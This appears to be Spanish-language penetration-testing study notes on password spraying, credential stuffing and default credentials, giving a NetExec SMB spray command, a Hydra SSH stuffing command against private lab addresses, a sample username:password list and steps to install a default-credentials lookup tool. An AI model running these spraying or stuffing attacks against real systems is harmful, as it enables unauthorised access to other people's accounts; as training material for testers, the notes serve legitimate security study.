Spraying, Stuffing y Credenciales Predeterminadas

1️⃣ Pulverización de contraseñas (Password Spraying) 🧴

• Ataque de fuerza bruta usando una sola contraseña en muchas cuentas.

• Efectivo cuando los usuarios mantienen contraseñas predeterminadas o comunes.

• Ejemplo: contraseña estándar ChangeMe123! aplicada a todas las cuentas nuevas.

• Herramientas:

  • Aplicaciones web → Suite de herramientas web

  • Active Directory → NetExec, Kerbrute

Ejemplo NetExec:

netexec smb 10.100.38.0/24 -u <usernames.list> -p 'ChangeMe123!

2️⃣ Relleno de credenciales (Credential Stuffing) 🧩

• Usa credenciales robadas de un servicio para acceder a otros.

• Éxito por reutilización de usuario/contraseña en múltiples plataformas.

• Herramientas: Hydra u otras según el servicio.

Ejemplo Hydra (SSH):

hydra -C user_pass.list ssh://10.100.38.23`

📄 Ejemplo de user_pass.list

admin:Admin123!
root:toor
jon:november
alice:Password1
bob:Qwerty2025
carla:ChangeMe123!
dave:dave2025
eve:eve@2025

3️⃣ Credenciales predeterminadas (Default Credentials) 🏷️

• Muchos sistemas (routers, firewalls, DB) vienen con usuario/contraseña por defecto.

• Riesgo si no se cambian durante la configuración inicial.

• Herramientas para automatizar búsqueda:

  • defaultcreds-cheat-sheet vía pip3

  • Comando creds para buscar credenciales conocidas por producto/proveedor

Ejemplo:

# Crear un entorno virtual
python3 -m venv ~/myvenv

# Activarlo
source ~/myvenv/bin/activate

# Ahora puedes instalar paquetes pip aquí sin afectar el sistema
pip install defaultcreds-cheat-sheet

creds search linksys